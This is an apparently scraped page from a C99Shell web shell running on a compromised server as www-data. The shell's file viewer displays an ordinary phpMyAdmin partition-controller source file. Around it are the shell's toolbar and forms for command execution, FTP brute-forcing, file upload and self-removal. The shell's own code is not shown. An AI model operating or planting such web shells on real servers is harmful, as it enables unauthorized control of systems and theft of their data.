!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/Table/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PartitionController.php (5.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table;

use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Table\Partition;
use 
PhpMyAdmin\Template;
use function 
strlen;

final class 
PartitionController extends AbstractController
{
    
/** @var Partition */
    
private $model;

    
/**
     * @param Response  $response
     * @param string    $db
     * @param string    $table
     * @param Partition $partition
     */
    
public function __construct($responseTemplate $template$db$table$partition)
    {
        
parent::__construct($response$template$db$table);
        
$this->model $partition;
    }

    public function 
analyze(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$rows$query] = $this->model->analyze($this->db$this->table$partitionName);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/partition/analyze', [
            
'partition_name' => $partitionName,
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
check(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$rows$query] = $this->model->check($this->db$this->table$partitionName);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/partition/check', [
            
'partition_name' => $partitionName,
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
drop(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$result$query] = $this->model->drop($this->db$this->table$partitionName);

        if (
$result) {
            
$message Generator::getMessage(
                
__('Your SQL query has been executed successfully.'),
                
$query,
                
'success'
            
);
        } else {
            
$message Generator::getMessage(
                
__('Error'),
                
$query,
                
'error'
            
);
        }

        
$this->render('table/partition/drop', [
            
'partition_name' => $partitionName,
            
'message' => $message,
        ]);
    }

    public function 
optimize(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$rows$query] = $this->model->optimize($this->db$this->table$partitionName);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/partition/optimize', [
            
'partition_name' => $partitionName,
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
rebuild(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$result$query] = $this->model->rebuild($this->db$this->table$partitionName);

        if (
$result) {
            
$message Generator::getMessage(
                
__('Your SQL query has been executed successfully.'),
                
$query,
                
'success'
            
);
        } else {
            
$message Generator::getMessage(
                
__('Error'),
                
$query,
                
'error'
            
);
        }

        
$this->render('table/partition/rebuild', [
            
'partition_name' => $partitionName,
            
'message' => $message,
        ]);
    }

    public function 
repair(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$rows$query] = $this->model->repair($this->db$this->table$partitionName);

        
$message Generator::getMessage(
            
__('Your SQL query has been executed successfully.'),
            
$query,
            
'success'
        
);

        
$this->render('table/partition/repair', [
            
'partition_name' => $partitionName,
            
'message' => $message,
            
'rows' => $rows,
        ]);
    }

    public function 
truncate(): void
    
{
        
$partitionName $_POST['partition_name'] ?? '';

        if (
strlen($partitionName) === 0) {
            return;
        }

        [
$result$query] = $this->model->truncate($this->db$this->table$partitionName);

        if (
$result) {
            
$message Generator::getMessage(
                
__('Your SQL query has been executed successfully.'),
                
$query,
                
'success'
            
);
        } else {
            
$message Generator::getMessage(
                
__('Error'),
                
$query,
                
'error'
            
);
        }

        
$this->render('table/partition/truncate', [
            
'partition_name' => $partitionName,
            
'message' => $message,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--